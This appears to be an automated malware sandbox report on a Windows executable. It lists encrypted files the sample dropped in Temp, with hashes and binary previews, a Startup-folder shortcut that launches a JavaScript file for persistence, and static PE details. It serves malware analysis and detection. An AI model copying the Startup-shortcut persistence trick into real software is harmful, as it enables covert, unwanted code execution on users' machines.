Preview:	.o...A....tucp..HQ{.\..,0Y.pQ...L....d....?..9(.&6.ph....a?.!.U....-l.!......{..dI.].....K........k#.MI.U....9.o.....s.......d.....c.......4W....b........<[..d.^...C..t.P.S\|&bO.jQ.N;X[...I.he6..f...l8...#....O...vK.}2K.AV.K...A...w.(.....<P...s.b....h.@..[Y..`F..e.S..;../.h..e.F.r/...D6.`._.8Q..Z.......[..f..P....&.t@....^.....3.z8R.D.....O...{C.o4.Qj.w.J.ua..1...C.c.W.o...c.../.d..5.W...u..q...r...1.K....Y.d.._.......!...~\_1\..09....i.N...z...(.)......d....D...,....e.&y.`.......S.X..0.v..X../T.n..Uy.M..&..x....n.D)G..(....D.@.....2>...}.l......#eE.=...$.+".u?r....k..n.x..7g,.3....i....j.0_...D.lh'.C..&K....?..\|..y..'........k.YQ..O..a........D.]&.uP..Z..h.N......R..`.....jo..m.]/..+._:<.....!...........\WR. ..%7Ymp~+.B%.p......f.^...i....9....n{.W. .I..YT.3.b..m.D.h".yW.d.'.f.....~Q#..F....Dii.qm..IB...I.+.%......].I6u&.u&%.l..?.f.(....>Q....&$..\|j.H.Y)dO.l&..r_..C."Z.&.'.r...h.CZ.IU....r.......>...>.....%........t.`.b.....P.PB"

C:\Users\user\AppData\Local\Temp\Fastest

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	7.997194265654002
Encrypted:	true
SSDEEP:	1536:v+pxZi1WY75TwdFzkQIfiLiR5fARQvjc9fdWx3L4wRrvTkTppGc:v0S5Jk+QIKirYaQpUx39c
MD5:	EFF591562D9AEA14D2872367F7B7103E
SHA1:	464E462445DC343E316FFCB6B29234C446D0A064
SHA-256:	5482A9A3B48354EB14C55DDB9E2595E79B03615C93464FD0F5FDD6E208AF4F82
SHA-512:	C75FA0300B30B71DE261982BE233E41A96E00E0B83FA4A9AD163FD3E740B1A2EFAC99435A1887459F6234F6BDE7ED5D9D53C1B26AE4F0414561A03E38AFCDCDD
Malicious:	true
Preview:	[..>K..F.`.>86.!.3...........^.....\|./.J.CHE2.{..C_...F9l..`XW6.H.....;\...:.b..'..c.Y....>..\.\...vX..6; .(.....0...0.....V.S.J.v.J..}3.....>.}f.7............=,.+Z...Fs}.g%..w.......$..`.S.....z.].Q.s.=... .e@).&...F....%Ayc!.PJ....=.k.x.....v...Y~[....G.............T.n...\|.u.....M..iA6E(..E.I..yNk.l...,{....(.!R..........H....'.s.Rg<m5w`.Y....q..#,......T.O.94...c.V..... 4m9..m...m[...:.q...'.0......m..........x.....3.U....{....Uvxq..>U...k^fr.$q..a.cr^w.T...A.F.ma&......hu.9.{.a...)....o..,....M.....T..=....j.v...iH.o.09"1...[......-.2..mg..m...F./U..F.T.&..z...r.....U.}.w6..$0fN....!...d..@...u.....c.NY.-.."..m.^.BA.:..Z..,.0..E....e.........S).-....P...Og@]kdRVF..9..p...S....~p......=R..vyAN.....n.....X.2...7.F.....M.v.,..t.XH<Yr........Q.=n9Z.P...8f.#:...k ;].wuT....]5..8......-..R.>.u..g..:7B..#2.a....u..@..(.......\...I^.1i\.q.`....QW.e..ga..A..5..,.....e^4!i......I.{3~.S..\|.......1Z....9.@r...Y<_.....5.;..9...&.....

C:\Users\user\AppData\Local\Temp\Gently

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.996765889888764
Encrypted:	true
SSDEEP:	1536:awFUJIg3MqmVC8RUIvzJb+OriV7i8svKR5L8LXaIBMm83qclL:bUKg3pmVC8Rl+Zt1qIeeoG3qc5
MD5:	0B20ABB260FC790E78F84A960314499D
SHA1:	631654EB5A843F48D7D4F75A95305CF738A92500
SHA-256:	7491C99CCA33B24B2F8BD2EA72561D60154E51142796C28A46D32C2DB5E972B1
SHA-512:	6CA15FD999A40CF37AF80A2BA79A5ADC45F997D978B8051CF3D0C858AB26C2DED9D6CFAEDECAE1DDAAF1AFCEE2B9B72FF6E38064B8AECEF3BD4AC4314BDAA43D
Malicious:	true
Preview:	..Zp..uz..>.-.N..5.../.$l.S.`J..(..-D..0.~......$p.RT..5Y#.M.[.F.i...S.nf...4.X..{.M....%.....JD...nN.C.k.?.A&.c.....x...r.Z.S....pu.2.AKR.m\..\;...1.w..+....z..$..b..Q)..gyfhW..8......./W.......zBj.{k.9...;.....k?)...an.q....C.ms...@..^..L.W......b.d.\.......x........U.\h..T.l...o.&..u"...[3?.P3@.H..'..'X..!.DL...t%.8X[ ..r4..DM{2j.U..1.O.......5...Z.Z.$../..u..`.C.S... .n.....a...K..\e2................nyv....'A...14..O.I./L......c...f}....t.r..~G)...^E..^F...l..;3.>..&RV...@..e...>.....Z.E...5..6.>R<.....!...3....a..qWs59.....K... ....<.Z.d.d`$..w..0.C..<..^&..X.:.S.....Y...\..../\..../.ZDC....9..=@.>O.#.......,l.n.....V...J....R............+P`8m.D....TU.=.....<v.z],.%.../b..>R..kf..2.z..D]SH+6X....a.t.....T.....7U..l.$.%..M.t....?6..{.i~.E..*_P..o...A.WS.g.....o.........U:q...+2...+?..;.9]H.{y.......P.{QL.......Fl...^M...?g......]....7.th}j..Z..l.......6.\...C.b..<..:..B..G.....VC..%..P...O..........dr..Ad.#.$.....Cm

C:\Users\user\AppData\Local\Temp\International

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.996455408231238
Encrypted:	true
SSDEEP:	768:872ws5O3wKoSCM0ZV4EdtkFb5iezgE6kZn3RKcZweWZvNB+0EQuHmEchpW77Q2xB:C2xuDVC7s4eIsnB5ZwbNNsOEq245q1b
MD5:	24548BC705858B908DF8590C42555E34
SHA1:	DC16D01B52B94E0BFA33BF8124F8E55ABE1720A6
SHA-256:	B15854B830337EF3DB8458995B59B02037839D4C7D2EEB69124344E29AE77671
SHA-512:	F3C5D612BE5784B73255F5A0380E38FE116BC39D3B261582CB748C91CA098AD02D25DDDEAA57216F0B7E30589F3FA296E2945D8C4A3C04CC347AB0187EF08834
Malicious:	true
Preview:	...k\}.i.[o&....`q.!a...{.....,!...Y;.r..D.....!!..=.G=..C.6.S"s...V1..b..J..=9.;C..M.D...qA>A/Sr\|...!.....g..s..#........YU.1...t......".T.......2/.......GA....'B3.k.....U>.KQcd.`.]LtN./....m....e3..Jf.]....g...(7b.....~.{.........".....W.M.4..W7...~..Q....h..=@.q....p...2v"...9.u..K...wB....."~...s..G.1.`...7#{a..... U[Y:!.......4N61.}...:.\.[..jgm..f.\|&...%....#.y.c..LV....../O......N#.....u2..$}.P..{].....,./....y.2......).R..@X...e....3......o.<.k.K.X....".h.R....Kd..iq.~C9.'.XS3.D{.hp...."...]]D.... \|7e.2..(.u;.W.&...~-.:w...a...?.>.......D...UX......C........I.-...s.....f.IJ".x..6K6..!....s..hK....m+@....y...U".b........km.1...U....`..>!x....4...;.O..Ov\|....>Qc.br..yq7....J.j>...m...i...Ou..y....W....u...s!V5.i.o.dw...1..g\|..G%.q3....\..M............5.Y;].c..N[....4EF...9.S.)...\.N.{n..A.]O..$jZ.~aG..R.s`,.@...J4.B....=.@i.;..4..)m.*..d."g#......I...?...G.D.M.V.2..(n@J..:.T=....vk.q+...s.wbX...J..S..1.J.&...,{..K].l.x...

C:\Users\user\AppData\Local\Temp\Jessica

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	7.997914373248418
Encrypted:	true
SSDEEP:	1536:1H16MKOSG3fStcKwt97Fr6dj4go6KzouYbHYqEVSBjAFYI26wf9kp9ZB2lyDNumy:PxaG3atO77FedscQcYLfYN6wM7PO8E
MD5:	25AA98D5EF3952A5A0BFF32301C09AD8
SHA1:	569DD803FC9CFFA01C159C650648A3F627635000
SHA-256:	3377FF0A28AC9AD8BA3C164CE29503AB3E4BE2632978BC519859B59B3C9E6A16
SHA-512:	5C260F85F498D04E8F9CBFDF63521A86D69E8E60F2E5971CA3F95559B444B791F3F47C403D84193FF84C962214FF57ED9D6710AAA4059F78406AB220BC23371E
Malicious:	true
Preview:	1..{.XH..{6-.qr8...Y.BD...C.5.Tw...r....r}......s.Y...Y0h...{...M..86..48/...y.\|.`0.T.R.f.u-..u..d/. ....t.W.xM.?..I.p.=...i...\|.6...[y...\..=..lu.Q...wl.a....".....f..e....D.P.&\|D..9._!.#T...........QNq...k.Y..g..z.G.5..[j_.U.D./..`...8p...LZAvl(A{.P..KE<jJ.F...s9"p..6.m..U......"..f..&..a\...?.\.2...}......6.0....R%I.4...0..c3..v.$.x.....).LG..v.....B?.x1....t9O.4}.?.d...+.1..1..B/0b.hFqv..,Y..K3S...<...............^.q..2.N.b(..s.%..w..W..5..Nl..'<.P......#.....T.......2.....G...d..G':....c..QG..x..9.V..........V....S[..m.XX.ONm..pu+^.<.Y...:Z........."{.I......B.p...Syl.....L<J..2.v]N.El.Q....n.>..B.../.a..y."M...........?I..<.U...(..."....".%..z;.....q.v...M3 ..s.;.$x...)HfW"pw.`@.UL....h.."b.z.....p.{Qs.......SA.>kw..h.e>\..G.._.....2.I".1l2..x.\|.V.n..T......E.(..+"M...4.d?..>..t..)..{...U.+.._4)......+...~Ak.T..Wh;u..>?e{........\|.....]...m\|.(U.ZD...e..J..p.Q7Q...E.".;..: yin(.ZF.K).$R.......pD!`..^.F'\|....Q...MX0..8@...5...c..

C:\Users\user\AppData\Local\Temp\Jet

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	61440
Entropy (8bit):	7.997269818226767
Encrypted:	true
SSDEEP:	1536:MXrI/MNgZ4Og0Rjihiu9qxwil6DIFcNZe:MXrI/fKYo6eZe
MD5:	1C80BC738D8205B5D4C2B2445CBB31F0
SHA1:	253BEC88BE97A71788D6152908CDBA73E55B46A3
SHA-256:	492E8EE10FE8D95577C96FF4CE184DF20560207DF7D1631948328B960434FA61
SHA-512:	1F299A0C55197C780D65D00909447EBCD5703EF9426AA6844C2897D572B3AAF555C2ED20C5BBDA965C8B25232F5A79DCF749417DF7915A60E6621DD1E16BF6EE
Malicious:	true
Preview:	..:d^n.q..M#l...L..~..{..I.h..7......z<.dd>....p.....n..)7..3......;.N.&......C.........Z].Q.k..$.......l.\..s...w..T8..\|..h..Xf....8[...O....gpr36b......&..=....LE..X...e.9G..d\|i+..5.......M..R.........0....m.u..h.................mT......-f(4...b..k..k.RnaX...[!qA.(7.......7c..=...~2..K.c;......^Z.?..zT..(.$..F.at....^...0.~]`@M.......X......y4....\..j.)..b.ft.40G%y...5E.a.1..$.r.D..z...P.)....^..Qy....WE.l....G.44.8.pc..N..H$..Q..V,S../m+../.L.{....s.v!O..5xKG.K....!.r..;.....S.U.R.'3f...%!.6rB.R$S..J.N.........A....v.o.S.(.B../..y..gq.D.....4..D{...^.\...N&J.._.Or.....S..p%aX.F.t.C/...Q.@...b.(..%S.....R<8uj..Y.q..@e].B..u..z...nf.7.~yt!O(...$..".qpMu.~...5@..k..-.E>.5..7u........R..e..>.`......N.B..7.3.@vh.[c..<......q..v..s......8.....~.5..=.{..~.W6....~.(....5.t.F.....3...?.]..9.h........N#u......wBa:,.6q.n>N..".Ix..>"..@z....?.......%3..X7....y....'d.A..~...F.W.....@..........J.V.......dz.....5.S...{..W.....+......8.l..O.

C:\Users\user\AppData\Local\Temp\Mh

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	5636
Entropy (8bit):	6.0876490146743425
Encrypted:	false
SSDEEP:	96:kfkxgUzr4tgOwVAfBzDICS09CAi6R7u+IhsObfS+NsPvj6ooxdofjxP3yGj1H034:smHAeOqAFDw09CV/2nPvj6DdMP3r1HI4
MD5:	598774EC6001A83BC8A24565E2A908BB
SHA1:	503438709CF002913D96E2A7EF51325B0605A64E
SHA-256:	79749AF598CD4506AD7AEFE35BA2CB8AC24CE4961E225E5DF345A95304AF1678
SHA-512:	0BDE914E7AFA80DFCEBA929C53C239FEAF0C21200C245D606CFFBF8E9AF1525F57B21E96F003DC4C4EC29120C641598CEA6EFB51530D542C83B989202E31A670
Malicious:	false
Preview:	MARTNMSPIDERRINGTONE..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B..........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Mood

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	7.9979586106795955
Encrypted:	true
SSDEEP:	1536:1w4kfylR3M4LxsCKKb5y+IWYzr0V0Ni6NNq6wOydrqcSusn+WLjkZeYctHeYIlhk:1/kaozzKNy+6PBhzwOGrBsn+WLjkZeu4
MD5:	7B0DEE84D05813B43B680C8FEAED52DF
SHA1:	6831401C9BDB63B42E6AE66B5B3A619A81BC07F4
SHA-256:	CC15CDF080BFC8C16B669782B545C9FF15633ADA54809FCF6BE8311E1EF684EE
SHA-512:	921D7B873A99C0665F32AAC000CEBBE3BF6A0D9CB8D82E6305083EFE57023971613EBB32956476DAE3ED7DCD71C7796F75D12A1840B1928845E47AA3645211C9
Malicious:	true
Preview:	6...G.....MO..&2..C".j..)u...7...p..E.(..NO..B..VljU..w7.#t.B)H....;.l...g..J.n.siJG(et..01V...A.A../!...b@WUd....2..T.."@..E.U..........P.0......d...Z....TJ....i....qa~...^'...9...M.-Z..>>3.l..3w>..70...........>.F`.....g5p;Ex.6.9.Q..6.....S....;..>..~.7..O...o..a.f..E&.GdD.....-R5H7...G........6...J....6H_-.4..uo.LQ..<.`T{..]r..~.u?!O~.....C......wt..g0u,Q...E4..d..?mq~...z.C>>\.....c..L._@j........9v.P.9..qh"..A..4&;.2.j...n.%...eK.\|.$.z...+s....H.a..u.....u..m.YM...o..3...P.,M.........]...58.2....@...E,...[...Q.+..HU..'.<....i35-.wI....6^...=.s......0.0..-...5:.]mx.c..R....0.Y.e(8T...0B.....l-..)G.....K.@...e"..fc^D.}...YCo...`.Q...u....C..I._.^B...h....3.n...E.h....r.......x...-.cmY..a}..Y./..({..,g>..I.......>..U.B@.<$..<..V..}8..g.....a../O.[M.8.....e..r4.=.O.[..Ln6.M.{..c..?...^._....q....GGI.v..Z.........?..c.r...b}..*..V.b...i.=jF...M..".)..&......u!T\|...^..]f. ...\....1Q.3.Q.....R.........PLb...t..C..r...M.y...]9...(.d.

C:\Users\user\AppData\Local\Temp\Princess

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	59392
Entropy (8bit):	7.99700719991649
Encrypted:	true
SSDEEP:	1536:kSgReDsZ2S57pfLb2Uf5c5saqKuvaRt4pn/GoUVjSoKgLWmHjJlym:kSZopbSpqKuk2puHgoKgLBHjJgm
MD5:	C9E306D19DEF703774D08975E553263B
SHA1:	8AB1DE74C5C1A45ABB93D0996C6D58F1530D4A4D
SHA-256:	E2CC14D5C33F5A9799D81683F017914C0C568FF4F634D5CDAA69DC086C01F88E
SHA-512:	8CEA19182FCEEDF07C81A7E5C9ED35E17591484C7BA4728EC65737E7E2ECFAFD288E656E036BF74E52E20EDED358223E058F5DEB8D9FF435EFB1B00FD94B51BA
Malicious:	true
Preview:	...._....Y.n..k<.\|.....JPU.?.<a..2.I...^...z.Bs7.H..)...).W...!.~................4jF.......z...\|...c8[.v..3.)g. .........i..sy.......%6.5........8.a.\|."...w...p....v.(...@.F.\|..8.....Q.....tD%...".BL.;...@.........9.].ud.ya.....@....{......O...w.fB.zO.-....A..O.p+..-.....#?.....M.7L.9..zx.Q=.n..K.a....[...=...{.u....2.?R&(N..........(.1hZ..R...4Q +.K..y-..S..'_'d...1...........oHw.........6..a..."......x....g..l...V52.~..1..u..>r..^^.k....:.q....(..L.jI/..E.....<QD8J..1V6.9.r.F..Z@.....-.C.s.xD...7.:...Fzk.n......^i..D.....D.F.\|J.....pP...G.CG.U.QL._..v.Yj..&."J.&.o.jK.....=!.yRo.3..;.G..U.p._...V..t...@.[.m.'.a.I$....1..8%.;=...z.3.....0.:PtE........l.fA;....^WL%.$.AK....Y..5<S...)! .,D.1.f..?K ..O..Re..P..:...Q.....)s0....Y...d?.>....}K2.......Fnl.x.\|...Y9.t.{.....3.......d.H.~...9Z}.0..Gz4..v....+s..C:.<..*.W.....L....A.....I.!+.K).&.%....)...>.hN....x.r....U.. ....4.gO?......h[..U.....F..."t.G.b.....(Cv...>j:..K.]...C.

C:\Users\user\AppData\Local\Temp\Prof

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.996397386083232
Encrypted:	true
SSDEEP:	1536:VDObOdYwNIGtwKnEscdKdnZ715rJVe6LODXFxLU:VDNdE4w6KC35DeXXFxQ
MD5:	26BFCB75C4F0FF69CEDE2EAEF6CBEC06
SHA1:	41D437AAAC0ACAA0D98C4FDA6586A61979B25F13
SHA-256:	7BE8B9F51B43F525D0140EDC5502BE3A6E7BCBD876DDDE442FABAD43B6D19B36
SHA-512:	126740665893FC6F775A8BF31CA7CC243CFE26A84A61752BADAA684DD156E08D6F473AF7F0C9796A8062C8A67AD873B0AA9DFC44679C84C4CC83ECFB63317381
Malicious:	true
Preview:	{./1.Z6....L_XQBe6w..H.....a..L0..sMoTt.sa.X=..e.R...........v9....B/...tX.q..A..c.39.....J.T.?^w.Z.Eg.H71..M.oN.....-8E.....W .....b.u...).D..-e.4....{.0..Afd..y.w.9...0... ......Z .1...zw..J9.z..r..ZrB......n.V.;.8..}.N....y.PU....AV...'..Q...g.......v..=v8.Q....u\u..J.KH....1...-....'.v.{.[.6..luS..kxvjx.-K.o.4:N...Q...R.2.Xi8.A..q..W...T..Y#....1......n.:)..~...x.fX...Q..v.X......Gq..$..1}.).e.N.W.v...A..Z$.2...$.L...)2.......Mj.Mt..z\h<....Or;..b...X6;...+?.M.Xa.5... .R....1l.\|.A.<.;....N..i.......k.W............=..e...5......>.c.o....:.6.FU..%...`M.f6.$...9.J...3.........D.....=HK.~.sec.D..0T..$..?....d+..4..h..u.Z...X..h+^.......[.C^p?[......v..a..KW4.....@"..T.ki..."...a\|....z.7..c...q...\t-C..eV..[..<....V.x.C.n.\|.X..b1.z.CL...ns"e.!...../.6.-).....^..KX.O....Sa~r..v..U{.$.....p.?z.M..:....<..`...e.l.UG.`L..A.3.?.Y.....n.?.t...!NUw\|.F.G..x...I..B.}...l...H....q..)..?l.Y.h$.w0\XvZ.....y.[....!e..}....b/i..H....n...;....'.Gy6i1.:H>...-

C:\Users\user\AppData\Local\Temp\Required

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.998052732299105
Encrypted:	true
SSDEEP:	1536:Ni5X/n8JL88Im4dSgQ3QDLTTWWzDO2Phn3TYXY/EuESYwOOJltjb2It6rc8/NyS:NMXf898Fm4d6ADnTBzD1P2I/ECxLJlxi
MD5:	2B1531C3961A12A05168DDBEC6DE9351
SHA1:	BF02E49064C0B97400F5E54A588D02B584D0E700
SHA-256:	6A1F12DCAB292378358F48014D0078407B2A141237BD7B318A83539497346FB5
SHA-512:	5DB2C782FC950BBD409A551BBA32708A5A22B78779D92DAAF9C56B73B94CA8478493B15784FDE711292E87399A06C51D5898179E4B5302A0531492F330F73C57
Malicious:	true
Preview:	K8HH...T..P..+..z...t.wB..gqa.XiaN./.,.8%.u...(.l.L..I...z.$.d......i.:.a~.V..!.[w....0.).._..x.g.b...f`{4!p" ..&`.P.C!..1...o..m..;...[-.<.?>o.p.m.....z.{yAR.....L.^aQO.N..._9...(.......;St.:.....8...%D.Qq..Of/p............7..v..J.h.m......................^.2......Z.#.H..<...G..l..Ab).4..e.\|.......u...}.>.X..i...M&C..{-.....w.j+.,...hR..mGT....Ou.....,j.!B...@k..A7.y..T.....'d.`.=.B.(.}U%..H..^.......e6.4.....qz..25....u.....=....\|.nOe......b#..]....^.Q.@...........&\~%..D.e.Cy;.'.T...w&H...f...hl.OJ.....j...+.a.!.Y.[..q.E.....%j%u@.c..,L........}...b4...z".OG..^a...=...v...e.......^...? 7.DuZ..-.A..&..3.%.H...Z....P....A3-.?.[.}...7.a?..>.g[......e. .&....c..e...N.0.\.z.m....,......_#.7..P..:9C.......N0....;.W...c.5.9.....r.....8..@...K.....9mK.}]".i..iNb?^L4.T.+...i........d..N..n]..0......./..GQ.....Uc....Q}.....4.VDq.Y...5......9.BRb.+.fgT...O........<gS.ImRe?@.x.....I..ZV..(.8..`..{<.2......\...,..)w...9/.q.>..~...n*..

C:\Users\user\AppData\Local\Temp\Situations

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	66560
Entropy (8bit):	7.9971208270762375
Encrypted:	true
SSDEEP:	1536:otshYdm8KllFFnGuyxeOFGpQMpItjKYvvOfPWE:qmNllvgLGpQhDvPE
MD5:	91880DAFDBDDDD3A7BECE82040731293
SHA1:	B2D53F9DCB1D79F5CAE8B20604CD22DAA223287D
SHA-256:	30B0CD78DBFB69528322CBD789347159AE4756A7667B889FDEF022ACC468A658
SHA-512:	FDE9B03522B27033E88371270D4491DF43A5B347F20221E7932548E9565BCDC08A8B7294C62F5CCDE1AAB0236061E13D675B3D1A213CD79384FC1E50ABE46B82
Malicious:	true
Preview:	..[.m....!.U.%....[.-...m.=D...6...(E...&\.....'.x.G~Wp.[.2v....Qo.73..........?F..`.@_...4.!..t.4+..ch..H;...~dd..7.\|......@[.."........E....\>...l.#..PEG..L.$.,..[A..k.,.?1A(.aK.&...p...'Q.^....m.}..E..v.)s.f......).h.....}<x........c...q..1\+...k...j..Q.<a.f.3..]US...J.=&.\|......1?.. E.ne/..#........}.U_v........%.#...'...D.,...S...u...]...2.-.....l./...%OG.....O.jq...d+.L.(G......4.\|...+".XF.G..t...}J.s,....&....zF.y......R....i....3U...\|.y..+.}.. .......7.Z.W....6......t..P.m..+..]D^...\|.a^...#..`....s......z...V8$Z{.\].GX`.......e..v.@..E^.."k.s..S....gd.16&`........-K...W!....S.X.....5..c...Q..6. ..q$...1;........\u.sws..........i.dva9.L..D#........T.1.K.......E....L...HX......x..........(....nm....*P..#.p.o.q...&..2...a?.IO{]..G.)gQ(...U...:v..Y.a...0.....0..B..F.:.e.j.?v..Ha..<Q...@.i.m..@P\'W...........`.:..R.jMb.-.F..qn...i.".C].z9.....R.O.....W1.=......L.7.....qiR....~........9..I.....S...f6......R....e....".

C:\Users\user\AppData\Local\Temp\Traveller

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	7.997070878978732
Encrypted:	true
SSDEEP:	1536:8cYTYhic0cJIiMbRTPZBQD3z7nYIDoncF8OZ3ChB:8cYTY8x/OgIsciOuB
MD5:	597F565834790C594B894C61459C3DFB
SHA1:	D47C91AFE8F194C45055622801148DE7D83A3907
SHA-256:	91A36419B02C0BEE19EE66AE6DF90302AC6B64BD15D1DB74BC6682DCC03CBD17
SHA-512:	2AFDB76CCAAD9995317F53886B638800743D88B8007D89E47B45706757BBA421A8C1624592E64FFB73520B5BF26D5AC4A68CD2FFE7A4F5E8ED27F943A2DD5AF6
Malicious:	true
Preview:	,.9...S....~vZ......e.l.c..s.2O....$.-.5.`..StW...O.r%Ys.....7~q`=n..,....1....6.Jo"(......X6 ..M..Qb...B>.&.v...d..........y....C...3...;....I..'C.......n..N.4.2oc{l;.!....c.Hr.B.....nJ..\.7.2~....BV.TS3R..C..;...i.4..LQh..+I....Tm..].....(..9&!<.rA.w...(....1.w.qV.[;...hO...z.F(.`..s{.&?....[.5;....d..<.............._.V...,.r....i..u...^&NT..45.;t..C.+..S...;...-..\|..S..!..s.N.Q+-C.5.....}L2<.._.m..\|nB.....Zb..R.1b$...`..E.6...1..A.g...c.\/S........&E.A .!....8..a+....T..5yM.z..CP.+..b....i.{q.....9.R.L.!..r..n....T (zI.R..w...f.......k.).7..l.W.~....<..5..N...S....J.....?....93eX.@ ..8..y~.......dGb.q.{.S..J..!@.n.cn......J..U...C....N.M.l...>.\|...&.......1.f..)Y.b.._+.....'....v........G.k2.4[...........Q..2Ch....\.Y..Q../.H.O..ts.h...~..=...>~.~.\:....GE'0Y.kn......LU....o..ZJ..).J;..[pmR\..d.c,.3.=.o....g..Y!W-..^z.L.{7.E^9u.{.P.8.j.......T.>.-...m..2..*...N.. ....z...y.]........c....>..%..............3...A.....V+..........=lc.(

C:\Users\user\AppData\Local\Temp\Volunteer

Download File

Process:	C:\Users\user\Desktop\ldqj18tn.exe
File Type:	data
Category:	dropped
Size (bytes):	887994
Entropy (8bit):	6.622324410902026
Encrypted:	false
SSDEEP:	12288:SV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:wxz1JMyyzlohMf1tN70aw8501
MD5:	480B699995A5B0B846D54973B83DB3E7
SHA1:	92241BB78A7A8769719D0045621C853F628F9495
SHA-256:	8615162D4D1718863A131FF5E242884922AA463FE2D6B48BD8CEADD9F519CF5F
SHA-512:	83495FC821564E92C90CBDFF7C7F52D6AE6A9367C9845312231E84D0246110E095358EAD78427F4A6AD9A7276D4CEE538C7C753876FA087C8918B24C1CC1A176
Malicious:	false
Preview:	.}....E.P.3....I..E.M.+..U.E.E.+.E.E.P.6.U..M...p.I..}....E..u.M..}.f..........E...}.f.......E...E...}.f.......E...E...}.f......f..............t(.E.f.........u..........E..+...;............t'.E.f........`u..........E..+...;........U......................... ..R.....@..U..._^[..]....}.f.FX.......f......f.F\f......t_f.F`f......f.Fdf.......E.P.7..4.I....9^Xt=9^\tE.E.P.7....I.9^`......9^d...............{.......}..t..f.E.f.......f.E.f.......U..wL..M..........E....t..AX.E....t..A\.E...~..A`.E...~..Ad]...U..Q..xL.V.u.Wj.....8W................4xL.j.Z.U.;........$xL.....0.........F.;G.............................................}...VW.....~d.......~h.......~D........~P.......>.t..6..<.I..&..u...wL..x.....4xL..U.B.U.;...V....u... .........$..........xL........t.Q........xL..... ....wL.J...wL.;5.xL.u....xL.....xL.........._^..u..5.wL.R....I..%.wL.....xL...t...xL..D...8.u...xL.........]...U.....M...xL.SVW.....wL..u....]......j....E....(.I..{L...t..{L.....}....$xL.......KH

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\InnoMesh.url

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<"C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" >), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	93
Entropy (8bit):	4.827604747376041
Encrypted:	false
SSDEEP:	3:HRAbABGQaFyw3pYoN+E2J5xAGNohFMhWlc:HRYF5yjoN723RNUFMr
MD5:	7973A84F1A865BCBF0BCFFE16D530DB4
SHA1:	3438A33D10CB3BD769A7300DE75149883E61FE67
SHA-256:	A025CEBE65C49004A971DC9D0258C293CFAA25E5F151E497021D6F410B376620
SHA-512:	BED078255DB647799DD8E9EAACF5EE225110DCF8982214D75BB048A690215BADC3D744633C576553425935711CA6C0F24DA41BDFA15DD1AAC8515548194F4CAC
Malicious:	true
Preview:	[InternetShortcut] ..URL="C:\Users\user\AppData\Local\TechMesh Dynamics\InnoMesh.js" ..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.988870164236672
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ldqj18tn.exe
File size:	1'656'911 bytes
MD5:	574ab8397d011243cb52bef069bad2dc
SHA1:	1e1cf543bb08113fec19f9d5b9c1df25ed9232f6
SHA256:	b376d8b2108027a42534314eb5d82a70b06984c7dca8e91df66d00f5c6e91f20
SHA512:	c3e3f7809e5540bdd59a0cd62e0c718aa024355952f7062aac9eb4b7f40009ac97072962f9799a2dd4e2194e7a8d4df8dd4636306ecb7fee6481f6befb684702
SSDEEP:	49152:iEVxqQJAyCoZxV/yPHZIQDjLO7MFVrbMwjK:iSxVJA7ofVGHiMjCMFJAwW
TLSH:	5375338CF9972D12D68E2BBB613291505BF87D7704B6D4EBD705D81EB23629028CDB23
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n.......B...8.....

File Icon


Icon Hash:	c1c0e4ccdcc4c4dc

Static PE Info

General

Entrypoint:	0x403883
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2DA [Fri Feb 24 19:19:54 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

